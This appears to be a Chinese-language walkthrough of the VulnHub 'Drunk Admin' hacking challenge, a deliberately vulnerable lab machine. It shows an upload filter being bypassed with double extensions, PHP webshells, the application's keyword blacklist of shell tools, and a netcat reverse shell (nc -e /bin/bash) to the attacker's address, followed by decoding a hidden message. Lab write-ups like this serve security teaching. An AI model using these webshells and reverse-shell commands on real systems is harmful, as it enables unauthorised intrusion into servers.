标签:mission 输出 加密 hal nvl href 说明 pre ima
Download: http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip
Download:
https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip
Download :
https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip.torrent
发布时间:2 Apr 2012
靶机IP:10.101.27.241
攻击机IP(Kalli):10.101.27.128
nmap -sV 10.101.27.241 -p1-65536
发现22端口开启了ssh服务以及8880端口的http服务
访问8880端口的服务,发现是一个图片上传的web应用
尝试访问下发现
得从图片上传入手,发现上传非图片格式后缀文件,会显示:Invalid file extension!,将后缀名改为.php.jpg
后上传成功
图片地址为:http://10.101.27.241:8880/images/b864b86cfa7d0935f61dac5eac9e91e8.jpg,可以看到图片文件名被修改后存入,猜测为MD5,通过hash-identifier
验证
可以得知存储的文件名的规则为文件名的MD5值加上文件后缀
发现上传.jpg.php
也是可以的,在文件中写入:
<?php echo "success";?>
计算pic.jpg.php
的MD5值,然后访问发现php代码被执行了
尝试写入一句话木马,
<?php echo exec($_GET[“cmd”]); ?>
上传后显示:Ohhh you are naughty!,可见进行了过滤被拦截
通过file_get_contents
函数查看upload.php
文件的内容
<?php echo file_get_contents(‘../upload.php‘);?>
简单整理之后如下:
<?php
(MAX_SIZE*1024) {
echo ‘You have exceeded the size limit!‘;
$errors=1;
}
$raw_name=md5($image);
$image_name=md5($image).‘.‘.$extension;
$newname="images/".$image_name;
$copied = copy($_FILES[‘image‘][‘tmp_name‘], $newname);
if (!$copied) {
echo ‘Copy unsuccessful!‘;
$errors=1;
}
else {
echo ‘Invalid file extension!‘;
$errors=1;
}
else {
echo ‘No image selected. Be carefull next time!‘;
$errors=1;
}
else {
echo ‘No data? Come on give me something to play with!‘;
$errors=1;
}
if(isset($_POST[‘Submit‘]) && !$errors) {
$file = file_get_contents("./images/$image_name");
if( strpos($file,"perl") ||
strpos($file,"bash") ||
strpos($file,"sh -c") ||
strpos($file,"python") ||
strpos($file,"nc ") ||
strpos($file,"netcat") ||
strpos($file,"base64") ||
strpos($file,"ruby") ||
strpos($file,"fsockopen") ||
strpos($file,"xterm") ||
strpos($file,"gcc") ||
strpos($file,‘$_GET‘) ||
strpos($file,‘$_POST‘) ||
strpos($file,‘$_SERVER‘) ||
strpos($file,‘$_FILES‘) ||
strpos($file,‘$_COOKIE‘) ) {
echo "Ohhh you are naughty!";
exec("rm ./images/$image_name");
die;
}
setcookie("trypios", "$raw_name", time()+3600);
echo ‘‘;
}
?>
可以看到对‘$_GET‘
进行了过滤,所以在开始上传一句话木马的时候输出:"Ohhh you are naughty!",于是乎构造如下木马:
// filename:pic.jpg.php
// URL:http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=id
<?php echo exec($_REQUEST[‘cmd‘]) ?>
在kali上监听446端口
nc -nvlp 446
然后访问执行命令:
http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=nc%2010.101.27.128%20446%20-e%20/bin/bash
成功get shell,使用python提供的pty模块来获取一个标准的shell
python -c ‘import pty;pty.spawn("/bin/bash")‘
FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.
靶机描述中的最终目标就找到隐藏的信息,先查看下www文件夹下面都有什么
发现有个.proof
的隐藏文件,查看一下,发现加密字符串:TGglMUxecjJDSDclN1Ej,
看起来像是base64,解密试试,得到:Lh%1L^r2CH7%7Q#
,看不出来什么东西
尝试搜索一波包含encrypt的文件
find / -name "*encrypt*" 2>&1 | sed ‘/Permission denied/d;‘
发现/home/bob/public_html/encrypt.php
似乎有些东西,进入该文件所在的目录
文件位于public_html
说明可以直接通过浏览器来进行访问,于是访问:http://10.101.27.241:8880/~bob/index.php
看起来是一个解密的应用,将刚刚base64解出来的字符串放进去试一试,得到一个经纬度的坐标,通过Google地图查看下,是在:Akti Tompazi, Chania 731 32, Greece
http://www.cyberry.co.uk/vulnhub/drunk-admin-web-hacking-challenge-1/
VulnHub Drunk Admin Web Hacking Challenge: 1
标签:mission 输出 加密 hal nvl href 说明 pre ima
原文地址:https://www.cnblogs.com/CH42e/p/13189941.html